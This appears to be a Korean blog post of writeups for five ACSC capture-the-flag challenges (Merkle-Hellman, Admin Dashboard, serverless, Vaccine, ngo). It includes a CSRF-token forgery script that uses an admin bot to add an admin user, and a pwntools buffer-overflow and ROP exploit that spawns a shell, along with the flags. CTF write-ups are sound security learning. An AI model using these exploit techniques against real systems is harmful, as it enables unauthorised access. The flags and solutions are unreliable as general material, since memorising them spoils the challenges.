24문제 중 6문제 풀었다. 웜업 문제를 푼 다음 easy-ssti를 보다가, 깃헙 소스를 다 뒤져도 방법이 없어보여서 포기하고 다음 날 ngo를 풀었다.
1. Merkle Hellman
#!/usr/bin/env python3
import random
import binascii
def egcd(a, b):
if a == 0:
return (b, 0, 1)
else:
g, y, x = egcd(b % a, a)
return (g, x - (b // a) * y, y)
def modinv(a, m):
g, x, y = egcd(a, m)
if g != 1:
raise Exception('modular inverse does not exist')
else:
return x % m
def gcd(a, b):
if a == 0:
return b
return gcd(b % a, a)
flag = open("flag.txt","rb").read()
# Generate superincreasing sequence
w = [random.randint(1,256)]
s = w[0]
for i in range(6):
num = random.randint(s+1,s+256)
w.append(num)
s += num
# Generate private key
total = sum(w)
q = random.randint(total+1,total+256)
r = 0
while gcd(r,q) != 1:
r = random.randint(100, q)
# Calculate public key
b = []
for i in w:
b.append((i * r) % q)
# Encrypting
c = []
for f in flag:
s = 0
for i in range(7):
if f & (64>>i):
s += b[i]
c.append(s)
print(f"Public Key = {b}")
print(f"Private Key = {w,q}")
print(f"Ciphertext = {c}")
# Output:
# Public Key = [7352, 2356, 7579, 19235, 1944, 14029, 1084]
# Private Key = ([184, 332, 713, 1255, 2688, 5243, 10448], 20910)
# Ciphertext = [8436, 22465, 30044, 22465, 51635, 10380, 11879, 50551, 35250, 51223, 14931, 25048, 7352, 50551, 37606, 39550]
pk = [7352, 2356, 7579, 19235, 1944, 14029, 1084]
c = [8436, 22465, 30044, 22465, 51635, 10380, 11879, 50551, 35250, 51223, 14931, 25048, 7352, 50551, 37606, 39550]
h = {}
for i in range(ord(' '), ord('}') + 1):
s = 0
for j in range(7):
if i & (64>>j):
s += pk[j]
h[s] = chr(i)
for i in c:
print(h[i],end='')
# ACSC{E4zY_P3@zy}
2. Admin Dashboard
admin 에게 report url를 보낼 수 있는데, addadmin 페이지가 존재한다. addadmin으로 admin user를 추가할 수 있는데,
이 때 세션 아이디와 시크릿 값을 기반으로 csrf-token을 생성한다.
세션 아이디가 x, csrf-token이 y라면 식은 다음과 같다.
y = (a*x + b) % c
따라서 임의의 아이디 2개를 생성한 후 각각의 csrf-token값을 토대로 a, b, c를 구할 수 있다.
<?php
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);
$params = session_get_cookie_params();
$params['httponly'] = true;
$params['samesite'] = 'Lax';
session_set_cookie_params($params);
session_start();
if (!isset($_SESSION["user"])){
echo '<meta http-equiv="refresh" content="0;url=login">';
die();
}
$conn = new mysqli("localhost","admin","admin","dashboard_db");
if ($conn->connect_error) {
die("Connection failed: " . $conn->connect_error);
}
$sql = "SELECT * FROM secrets";
$stmt = $conn->prepare($sql);
$stmt->execute();
$result = $stmt->get_result();
$row = $result->fetch_assoc();
if($row){
$A = gmp_import($row['A']);
$C = gmp_import($row['C']);
$M = gmp_init("0xc4f3b4b3deadbeef1337c0dedeadc0dd");
}
if (!isset($_SESSION['X'])){
$X = gmp_import($_SESSION["user"]["username"]);
$_SESSION['X'] = gmp_mod(gmp_add(gmp_mul($A, $X),$C),$M);
$_SESSION["token-expire"] = time() + 30;
}else{
if(time() >= $_SESSION["token-expire"]){
$_SESSION['X'] = gmp_mod(gmp_add(gmp_mul($A, $_SESSION['X']),$C),$M);
$_SESSION["token-expire"] = time() + 30;
}
}
?>
<html>
<main role="main" class="container">
<div class="col-xl-6 mt-5">
<form class="form-add-note" action="addadmin" method="POST">
<label for="title" class="sr-only">Username</label>
<input type="text" name="username" class="form-control" placeholder="Username" required="" autofocus="">
<input type="password" name="password" class="form-control" placeholder="Password" required="" autofocus="">
<input type="hidden" name="csrf-token" value="<?=gmp_strval($_SESSION['X'],16)?>">
<button class="btn btn-primary btn-block mt-2" type="submit">Add admin user</button>
</form>
<?php
if(isset($_REQUEST['username']) && isset($_REQUEST['password']) && isset($_REQUEST['csrf-token'])){
if($_SESSION["user"]["role"] !== "admin"){
echo "<p class='text-danger'>No permission!</p>";
}else{
if($_REQUEST['csrf-token'] === gmp_strval($_SESSION['X'],16)){
$sql = "INSERT INTO users (username, password, role) VALUES (?,?,'admin')";
$stmt = $conn->prepare($sql);
$stmt->bind_param("ss", $_REQUEST['username'], $_REQUEST['password']);
$result = $stmt->execute();
echo "<p class='text-success'>Added successfully!</p>";
}else{
echo "<p class='text-danger'>Wrong token!</p>";
}
}
}
?>
</div>
</main>
</body>
</html>
z3을 이용하여 값을 얻고, addadmin page에서 $_REQUEST로 추가할 username, password, csrf-token 을 가져오기 때문에 get query로 보내면 된다.
from requests import Session
from z3 import *
url = 'http://admin-dashboard.chal.ctf.acsc.asia/'
n = 0xc4f3b4b3deadbeef1337c0dedeadc0dd
solver = Solver()
x = Int('x')
y = Int('y')
for i in range(2):
X = int.from_bytes(b'aaaa','big') + i + 10
username = bytes.fromhex(hex(X)[2:]).decode()
print(hex(X), username)
s = Session()
s.get(url + 'register', params={'username':username,'password':'1234'})
s.get(url + 'login', params={'username':username,'password':'1234'})
r = s.get(url + 'addadmin')
print(r.text)
csrf = int(r.text.split('name="csrf-token" value="')[1].split('">')[0],16)
solver.add((x * X + y) % n == csrf)
print(f'x * {X} + y == {csrf}')
if solver.check():
print(solver.model())
#[y = -64106586517050603013546860027570773970653910744,
# x = 39238395068069510873877941548003979614]
x = 39238395068069510873877941548003979614
y = -64106586517050603013546860027570773970653910744
X = int.from_bytes(b'admin','big')
csrf = hex((x * X + y) % n)[2:]
print('csrf :', csrf)
username = 'hahahaha'; password = 'asdfasdfqwer'
s = Session()
s.get(url + 'register', params={'username':'hello','password':'1234'})
s.get(url + 'login', params={'username':'hello','password':'1234'})
print(f'http://admin-dashboard.chal.ctf.acsc.asia/addadmin?username={username}&password={password}&csrf-token={csrf}')
s.post(url + 'report', data={'url':f'http://localhost/addadmin?username={username}&password={password}&csrf-token={csrf}'})
r = s.get(url + 'login', params={'username':username,'password':password})
print(r.text)
hahahaha / asdfasdfqwer 로 로그인하면 다음과 같이 정답이 나온다.
3. serverless
var a = document['querySelector']('form');
a['addEventListener']('submit', function (c) {
c['preventDefault']();
var d = document['querySelector']('textarea[name=\'message\']')['value'],
e = document['querySelector']('input[name=\'password\']')['value'],
f = document['querySelector']('input[name=\'encrypt\']'),
g = b(d, e),
h = document['querySelector']('p.response');
h && h['remove']();
var i = document['createElement']('p');
i['classList']['add']('response'), i['textContent'] = 'Encrypted message: ' + g, f['insertAdjacentElement']('afterend', i);
});
function b(d, f) {
var g = [0x9940435684b6dcfe5beebb6e03dc894e26d6ff83faa9ef1600f60a0a403880ee166f738dd52e3073d9091ddabeaaff27c899a5398f63c39858b57e734c4768b7n, 0xbd0d6bef9b5642416ffa04e642a73add5a9744388c5fbb8645233b916f7f7b89ecc92953c62bada039af19caf20ecfded79f62d99d86183f00765161fcd71577n, 0xa9fe0fe0b400cd8b58161efeeff5c93d8342f9844c8d53507c9f89533a4b95ae5f587d79085057224ca7863ea8e509e2628e0b56d75622e6eace59d3572305b9n, 0x8b7f4e4d82b59122c8b511e0113ce2103b5d40c549213e1ec2edba3984f4ece0346ab1f3f3c0b25d02c1b21d06e590f0186635263407e0b2fa16c0d0234e35a3n, 0xf840f1ee2734110a23e9f9e1a05b78eb711c2d782768cef68e729295587c4aa4af6060285d0a2c1c824d2c901e5e8a1b1123927fb537f61290580632ffea0fbbn, 0xdd068fd4984969a322c1c8adb4c8cc580adf6f5b180b2aaa6ec8e853a6428a219d7bffec3c3ec18c8444e869aa17ea9e65ed29e51ace4002cdba343367bf16fdn, 0x96e2cefe4c1441bec265963da4d10ceb46b7d814d5bc15cc44f17886a09390999b8635c8ffc7a943865ac67f9043f21ca8d5e4b4362c34e150a40af49b8a1699n, 0x81834f81b3b32860a6e7e741116a9c446ebe4ba9ba882029b7922754406b8a9e3425cad64bda48ae352cdc71a7d9b4b432f96f51a87305aebdf667bc8988d229n, 0xd8200af7c41ff37238f210dc8e3463bc7bcfb774be93c4cff0e127040f63a1bce5375de96b379c752106d3f67ec8dceca3ed7b69239cf7589db9220344718d5fn, 0xb704667b9d1212ae77d2eb8e3bd3d5a4cd19aa36fc39768be4fe0656c78444970f5fc14dc39a543d79dfe9063b30275033fc738116e213d4b6737707bb2fd287n],
h = [0xd4aa1036d7d302d487e969c95d411142d8c6702e0c4b05e2fbbe274471bf02f8f375069d5d65ab9813f5208d9d7c11c11d55b19da1132c93eaaaba9ed7b3f9b1n, 0xc9e55bae9f5f48006c6c01b5963199899e1cdf364759d9ca5124f940437df36e8492b3c98c680b18cac2a847eddcb137699ffd12a2323c9bc74db2c720259a35n, 0xcbcdd32652a36142a02051c73c6d64661fbdf4cbae97c77a9ce1a41f74b45271d3200678756e134fe46532f978b8b1d53d104860b3e81bdcb175721ab222c611n, 0xf79dd7feae09ae73f55ea8aa40c49a7bc022c754db41f56466698881f265507144089af47d02665d31bba99b89e2f70dbafeba5e42bdac6ef7c2f22efa680a67n, 0xab50277036175bdd4e2c7e3b7091f482a0cce703dbffb215ae91c41742db6ed0d87fd706b622f138741c8b56be2e8bccf32b7989ca1383b3d838a49e1c28a087n, 0xb5e8c7706f6910dc4b588f8e3f3323503902c1344839f8fcc8d81bfa8e05fec2289af82d1dd19afe8c30e74837ad58658016190e070b845de4449ffb9a48b1a7n, 0xc351c7115ceffe554c456dcc9156bc74698c6e05d77051a6f2f04ebc5e54e4641fe949ea7ae5d5d437323b6a4be7d9832a94ad747e48ee1ebac9a70fe7cfec95n, 0x815f17d7cddb7618368d1e1cd999a6cb925c635771218d2a93a87a690a56f4e7b82324cac7651d3fbbf35746a1c787fa28ee8aa9f04b0ec326c1530e6dfe7569n, 0xe226576ef6e582e46969e29b5d9a9d11434c4fcfeccd181e7c5c1fd2dd9f3ff19641b9c5654c0f2d944a53d3dcfef032230c4adb788b8188314bf2ccf5126f49n, 0x84819ec46812a347894ff6ade71ae351e92e0bd0edfe1c87bda39e7d3f13fe54c51f94d0928a01335dd5b8689cb52b638f55ced38693f0964e78b212178ab397n],
j = Math['floor'](Math['random']() * (0x313 * -0x8 + 0x24c1 + -0xc1f)),
k = Math['floor'](Math['random']() * (-0x725 + -0x1546 + 0x1c75)),
l = g[j],
o = h[k],
r = l * o,
s = Math['floor'](Math['random']() * (0x2647 + 0x1 * 0x2f5 + -0x2937)),
t = Math['pow'](-0x14e6 + 0x43 * 0x55 + -0x7 * 0x31, Math['pow'](-0x14e1 * 0x1 + -0x2697 + 0x2e * 0x14b, s)) + (-0x235d + 0x2 * 0x82b + 0x3a * 0x54);
function u(A) {
var B = new TextEncoder()['encode'](A);
let C = 0x0n;
for (let D = 0x13c8 + 0x1 * 0x175b + -0x2b23; D < B['length']; D++) {
C = (C << 0x8n) + BigInt(B[D]);
}
return C;
}
var v = u(d);
function w(A, B, C) {
if (B === -0x9d + 0x993 + 0x1f * -0x4a) return 0x1n;
return B % (0x1 * 0x2dc + 0x28 * -0x12 + -0xa) === -0x2446 * -0x1 + 0x3 * 0xcd5 + -0x4ac5 * 0x1 ? w(A * A % C, B / (-0x6a3 * 0x5 + 0xcba + 0x1477 * 0x1), C) : A * w(A, B - (-0x1cd0 + 0x11fc + 0xad5), C) % C;
}
var x = w(v, t, r);
let y = [];
while (x > 0x1 * 0x371 + 0x1519 + -0x188a) {
y['push'](Number(x & 0xffn)), x = x >> 0x8n;
}
y['push'](Number(s)), y['push'](Number(k)), y['push'](Number(j));
var z = new TextEncoder()['encode'](f);
for (let A = -0xa00 + 0x1 * 0x20e0 + -0x4 * 0x5b8; A < y['length']; ++A) {
y[A] = y[A] ^ z[A % z['length']];
}
return btoa(y['reverse']());
}
난독화된 javascript 코드와 암호문, 비밀번호가 주어진다.
난독화를 어느정도 해제하면 다음과 같다.
function b(d, f) {
var g = [0x9940435684b6dcfe5beebb6e03dc894e26d6ff83faa9ef1600f60a0a403880ee166f738dd52e3073d9091ddabeaaff27c899a5398f63c39858b57e734c4768b7n, 0xbd0d6bef9b5642416ffa04e642a73add5a9744388c5fbb8645233b916f7f7b89ecc92953c62bada039af19caf20ecfded79f62d99d86183f00765161fcd71577n, 0xa9fe0fe0b400cd8b58161efeeff5c93d8342f9844c8d53507c9f89533a4b95ae5f587d79085057224ca7863ea8e509e2628e0b56d75622e6eace59d3572305b9n, 0x8b7f4e4d82b59122c8b511e0113ce2103b5d40c549213e1ec2edba3984f4ece0346ab1f3f3c0b25d02c1b21d06e590f0186635263407e0b2fa16c0d0234e35a3n, 0xf840f1ee2734110a23e9f9e1a05b78eb711c2d782768cef68e729295587c4aa4af6060285d0a2c1c824d2c901e5e8a1b1123927fb537f61290580632ffea0fbbn, 0xdd068fd4984969a322c1c8adb4c8cc580adf6f5b180b2aaa6ec8e853a6428a219d7bffec3c3ec18c8444e869aa17ea9e65ed29e51ace4002cdba343367bf16fdn, 0x96e2cefe4c1441bec265963da4d10ceb46b7d814d5bc15cc44f17886a09390999b8635c8ffc7a943865ac67f9043f21ca8d5e4b4362c34e150a40af49b8a1699n, 0x81834f81b3b32860a6e7e741116a9c446ebe4ba9ba882029b7922754406b8a9e3425cad64bda48ae352cdc71a7d9b4b432f96f51a87305aebdf667bc8988d229n, 0xd8200af7c41ff37238f210dc8e3463bc7bcfb774be93c4cff0e127040f63a1bce5375de96b379c752106d3f67ec8dceca3ed7b69239cf7589db9220344718d5fn, 0xb704667b9d1212ae77d2eb8e3bd3d5a4cd19aa36fc39768be4fe0656c78444970f5fc14dc39a543d79dfe9063b30275033fc738116e213d4b6737707bb2fd287n],
h = [0xd4aa1036d7d302d487e969c95d411142d8c6702e0c4b05e2fbbe274471bf02f8f375069d5d65ab9813f5208d9d7c11c11d55b19da1132c93eaaaba9ed7b3f9b1n, 0xc9e55bae9f5f48006c6c01b5963199899e1cdf364759d9ca5124f940437df36e8492b3c98c680b18cac2a847eddcb137699ffd12a2323c9bc74db2c720259a35n, 0xcbcdd32652a36142a02051c73c6d64661fbdf4cbae97c77a9ce1a41f74b45271d3200678756e134fe46532f978b8b1d53d104860b3e81bdcb175721ab222c611n, 0xf79dd7feae09ae73f55ea8aa40c49a7bc022c754db41f56466698881f265507144089af47d02665d31bba99b89e2f70dbafeba5e42bdac6ef7c2f22efa680a67n, 0xab50277036175bdd4e2c7e3b7091f482a0cce703dbffb215ae91c41742db6ed0d87fd706b622f138741c8b56be2e8bccf32b7989ca1383b3d838a49e1c28a087n, 0xb5e8c7706f6910dc4b588f8e3f3323503902c1344839f8fcc8d81bfa8e05fec2289af82d1dd19afe8c30e74837ad58658016190e070b845de4449ffb9a48b1a7n, 0xc351c7115ceffe554c456dcc9156bc74698c6e05d77051a6f2f04ebc5e54e4641fe949ea7ae5d5d437323b6a4be7d9832a94ad747e48ee1ebac9a70fe7cfec95n, 0x815f17d7cddb7618368d1e1cd999a6cb925c635771218d2a93a87a690a56f4e7b82324cac7651d3fbbf35746a1c787fa28ee8aa9f04b0ec326c1530e6dfe7569n, 0xe226576ef6e582e46969e29b5d9a9d11434c4fcfeccd181e7c5c1fd2dd9f3ff19641b9c5654c0f2d944a53d3dcfef032230c4adb788b8188314bf2ccf5126f49n, 0x84819ec46812a347894ff6ade71ae351e92e0bd0edfe1c87bda39e7d3f13fe54c51f94d0928a01335dd5b8689cb52b638f55ced38693f0964e78b212178ab397n],
j = Math['floor'](Math['random']() * (0x313 * -0x8 + 0x24c1 + -0xc1f)),
k = Math['floor'](Math['random']() * (-0x725 + -0x1546 + 0x1c75)),
l = g[j],
o = h[k],
r = l * o,
s = Math['floor'](Math['random']() * (0x2647 + 0x1 * 0x2f5 + -0x2937)),
t = Math['pow'](-0x14e6 + 0x43 * 0x55 + -0x7 * 0x31, Math['pow'](-0x14e1 * 0x1 + -0x2697 + 0x2e * 0x14b, s)) + (-0x235d + 0x2 * 0x82b + 0x3a * 0x54);
// g, h : prime list
// l, o : p, q
// r : n
// s : random
// t : e = 2**(2**s) + 1
function u(A) {
var B = new TextEncoder()['encode'](A);
let C = 0x0n;
for (let D = 0; D < B['length']; D++) {
C = (C << 0x8n) + BigInt(B[D]);
}
return C;
}
var v = u(d);
function w(A, B, C) {
if (B === 0) return 0x1n;
return B % (2) === 0 ? w(A * A % C, B / 2, C) : A * w(A, B - 1, C) % C;
}
var x = w(v, t, r);
let y = [];
while (x > 0) {
y['push'](Number(x & 0xffn)), x = x >> 0x8n;
}
y['push'](Number(s)), y['push'](Number(k)), y['push'](Number(j));
var z = new TextEncoder()['encode'](f);
for (let A = 0; A < y['length']; ++A) {
y[A] = y[A] ^ z[A % z['length']];
}
return btoa(y['reverse']());
}
일단 암호문을 base64 decode -> reverse -> 'acscpass'와 xor 했을 때 맨 뒤의 숫자 3개는 s, k, j임을 알 수 있다.
s로는 t값을 알 수 있고, k와 j로는 l과 o를 알 수 있다.
w 함수는 A**B % C 를 재귀함수로 구현한 것임을 슥 보면 알 수 있고, 따라서 x는 flag**t mod r임을 알 수 있다.
꼴을 보고 RSA 암호화임을 추측할 수 있는데, g와 h 배열이 각각 소수 배열이며 소수 배열에서 임의의 소수 2개 l과 o를 선택한 것임을 알 수 있다.
암호문에 s, k, j 가 포함되어있으니 RSA에서 p, q, e 를 모두 아는 상태이다.
따라서 e**-1 mod (p-1)(q-1) 로 d를 구해준 후 c**d mod n 해주면 plain text를 얻을 수 있다.
g = [0x9940435684b6dcfe5beebb6e03dc894e26d6ff83faa9ef1600f60a0a403880ee166f738dd52e3073d9091ddabeaaff27c899a5398f63c39858b57e734c4768b7, 0xbd0d6bef9b5642416ffa04e642a73add5a9744388c5fbb8645233b916f7f7b89ecc92953c62bada039af19caf20ecfded79f62d99d86183f00765161fcd71577, 0xa9fe0fe0b400cd8b58161efeeff5c93d8342f9844c8d53507c9f89533a4b95ae5f587d79085057224ca7863ea8e509e2628e0b56d75622e6eace59d3572305b9, 0x8b7f4e4d82b59122c8b511e0113ce2103b5d40c549213e1ec2edba3984f4ece0346ab1f3f3c0b25d02c1b21d06e590f0186635263407e0b2fa16c0d0234e35a3, 0xf840f1ee2734110a23e9f9e1a05b78eb711c2d782768cef68e729295587c4aa4af6060285d0a2c1c824d2c901e5e8a1b1123927fb537f61290580632ffea0fbb, 0xdd068fd4984969a322c1c8adb4c8cc580adf6f5b180b2aaa6ec8e853a6428a219d7bffec3c3ec18c8444e869aa17ea9e65ed29e51ace4002cdba343367bf16fd, 0x96e2cefe4c1441bec265963da4d10ceb46b7d814d5bc15cc44f17886a09390999b8635c8ffc7a943865ac67f9043f21ca8d5e4b4362c34e150a40af49b8a1699, 0x81834f81b3b32860a6e7e741116a9c446ebe4ba9ba882029b7922754406b8a9e3425cad64bda48ae352cdc71a7d9b4b432f96f51a87305aebdf667bc8988d229, 0xd8200af7c41ff37238f210dc8e3463bc7bcfb774be93c4cff0e127040f63a1bce5375de96b379c752106d3f67ec8dceca3ed7b69239cf7589db9220344718d5f, 0xb704667b9d1212ae77d2eb8e3bd3d5a4cd19aa36fc39768be4fe0656c78444970f5fc14dc39a543d79dfe9063b30275033fc738116e213d4b6737707bb2fd287]
h = [0xd4aa1036d7d302d487e969c95d411142d8c6702e0c4b05e2fbbe274471bf02f8f375069d5d65ab9813f5208d9d7c11c11d55b19da1132c93eaaaba9ed7b3f9b1, 0xc9e55bae9f5f48006c6c01b5963199899e1cdf364759d9ca5124f940437df36e8492b3c98c680b18cac2a847eddcb137699ffd12a2323c9bc74db2c720259a35, 0xcbcdd32652a36142a02051c73c6d64661fbdf4cbae97c77a9ce1a41f74b45271d3200678756e134fe46532f978b8b1d53d104860b3e81bdcb175721ab222c611, 0xf79dd7feae09ae73f55ea8aa40c49a7bc022c754db41f56466698881f265507144089af47d02665d31bba99b89e2f70dbafeba5e42bdac6ef7c2f22efa680a67, 0xab50277036175bdd4e2c7e3b7091f482a0cce703dbffb215ae91c41742db6ed0d87fd706b622f138741c8b56be2e8bccf32b7989ca1383b3d838a49e1c28a087, 0xb5e8c7706f6910dc4b588f8e3f3323503902c1344839f8fcc8d81bfa8e05fec2289af82d1dd19afe8c30e74837ad58658016190e070b845de4449ffb9a48b1a7, 0xc351c7115ceffe554c456dcc9156bc74698c6e05d77051a6f2f04ebc5e54e4641fe949ea7ae5d5d437323b6a4be7d9832a94ad747e48ee1ebac9a70fe7cfec95, 0x815f17d7cddb7618368d1e1cd999a6cb925c635771218d2a93a87a690a56f4e7b82324cac7651d3fbbf35746a1c787fa28ee8aa9f04b0ec326c1530e6dfe7569, 0xe226576ef6e582e46969e29b5d9a9d11434c4fcfeccd181e7c5c1fd2dd9f3ff19641b9c5654c0f2d944a53d3dcfef032230c4adb788b8188314bf2ccf5126f49, 0x84819ec46812a347894ff6ade71ae351e92e0bd0edfe1c87bda39e7d3f13fe54c51f94d0928a01335dd5b8689cb52b638f55ced38693f0964e78b212178ab397]
a = [117,96,98,107,7,43,220,233,126,131,201,15,244,105,252,125,10,166,219,230,250,82,211,101,195,39,240,158,174,59,103,153,122,36,67,179,224,108,9,88,191,91,14,224,193,52,183,215,11,26,30,183,133,161,169,91,48,229,99,199,165,100,218,0,165,41,55,118,227,236,80,116,120,125,10,123,125,131,106,128,154,133,55,5,63,236,69,27,201,118,180,74,213,131,47,200,116,52,49,120,86,124,178,92,246,119,98,95,86,104,64,30,54,20,109,133,155,122,11,87,16,223,162,160,215,209,136,249,221,136,232]
password = b'acscpass'
a.reverse()
for i in range(len(a)):
a[i] ^= password[i % len(password)]
s, k, j = a[-3:]
a = a[:-3]
print(a)
p = g[j]
q = h[k]
phi = (p-1) * (q-1)
e = pow(2, pow(2,s)) + 1
d = pow(e,-1,phi)
N = p * q
s = 0
for i, n in enumerate(a):
s |= n << 8 * i
print(hex(s))
print(bytes.fromhex(hex(pow(s, d, N))[2:]))
# ACSC{warmup_challenge_so_easy}
4. Vaccine
BOF가 터지기 때문에 s 와 s2에 같은 문자열이 담기게끔 한 후 i값을 strlen(s2)보다 큰 값으로 덮으면 A C G T 검사를 건너뛸 수 있고 strcmp까지 해결 가능하다. 이후는 64bit ROP로 쉘을 따면 된다.
from pwn import remote, p32, p64, context, ELF, u64
context.log_level = 'debug'
e = ELF('./vaccine')
libc = ELF('./libc.so.6')
p = remote('vaccine.chal.ctf.acsc.asia', 1337)
prdi = 0x401443
ppppr = 0x40143C
oneshot = 0xe3afe
main = 0x401236
payload = b''
payload += b'A'* 103 + b'\x00' + b'B' * (112-104) + b'A' * 103 + b'\x00' + b'A' * (8 + 8) + p32(200)
payload += b'C' * 4
payload += b'D' * 16
payload += b'E' * 8
payload += p64(prdi)
payload += p64(e.got['fgets'])
payload += p64(e.plt['printf'])
payload += p64(main)
p.sendlineafter(b': ', payload)
p.recvuntil(b'castle\x0a')
leak = u64(p.recv(6) + b'\x00\x00')
base = leak - libc.symbols['fgets']
print('%x' % base)
payload = b''
payload += b'A'* 103 + b'\x00' + b'B' * (112-104) + b'A' * 103 + b'\x00' + b'A' * (8 + 8) + p32(200)
payload += b'C' * 4
payload += b'D' * 16
payload += b'E' * 8
payload += p64(ppppr)
payload += p64(0) * 4
payload += p64(base + oneshot)
p.sendlineafter(b': ', payload)
p.interactive()
5. ngo
42**11 번 for 문을 돌면 대회 시간 안에 끝나지 않는다.
이 문제가 solvable 하다는 건 주기성을 가진다는 의미이고, 따라서 처음 값이 나올 때까지 돌려서 주기를 구한다.
for(long long int i = 0; i < 0xffFFffFFffFFffFF; i++)
{
if(sub_14001550() == 0x3D2964F0)
{
printf("%lld\n", i);
break;
}
}
0xffFFffFF 마다 돌아오는 것을 확인할 수 있다. 따라서 0xffFFffFF 번만 쭉 돌리면 12개 값 모두 구할 수 있다는 뜻이다.
a = []
for i in range(12):
a.append((42**i + (a[i-1] if i != 0 else 0)) % 0xffFFffFF)
# [1, 43, 1807, 75895, 3187591, 133878823, 1327943272, 4234009885, 1734756076, 4140278473, 2093004067, 2006824915]
0 ~ 11까지 체크해야할 인덱스들만 구한 건데, 보다시피 작은 수가 뒤에 존재하기 때문에 C에서 편하게 계산하기 위해서 이를 정렬해주었다.
#include <stdio.h>
// ACSC{yUhFgRvQ2Afi}
unsigned int dword_14000801C = 0x3D2964F0;
unsigned int sub_140001550()
{
int v1; // [rsp+8h] [rbp-8h]
v1 = dword_14000801C & 1;
dword_14000801C = dword_14000801C >> 1;
dword_14000801C ^= -v1 & 0x80200003;
return dword_14000801C;
}
int main()
{
int indexTable[] = {0,1,2,3,4,5,6,8,11,10,9,7};
long long int table[] = {1, 43, 1807, 75895, 3187591, 133878823, 1327943272, 1734756076, 2006824915, 2093004067, 4140278473, 4234009885};
int xorTable[] = {1, 25, 239, 90, 250, 200, 46, 105, 49, 215, 129, 33};
int cnt = 0;
for (long long int i = 0; i < 0xffFFffFF; i++)
{
sub_140001550();
if(i == table[cnt] - 1)
{
printf("[%d] : %c\n",indexTable[cnt], (unsigned char)dword_14000801C ^ xorTable[indexTable[cnt]]);
cnt++;
}
}
}
ACSC{yUhFgRvQ2Afi} 가 정답이 된다.
'CTF Writeup' 카테고리의 다른 글
Defcon 2023 Qualifier - kkkkklik writeup (0) | 2023.05.31 |
---|---|
2022 Incognito CTF Writeup (0) | 2023.03.26 |
2022 Iris CTF (0) | 2023.01.08 |
Dreamhack Christmas CTF 2022 Writeup (1) | 2022.12.24 |
2022 Layer7 CTF Writeup (0) | 2022.12.19 |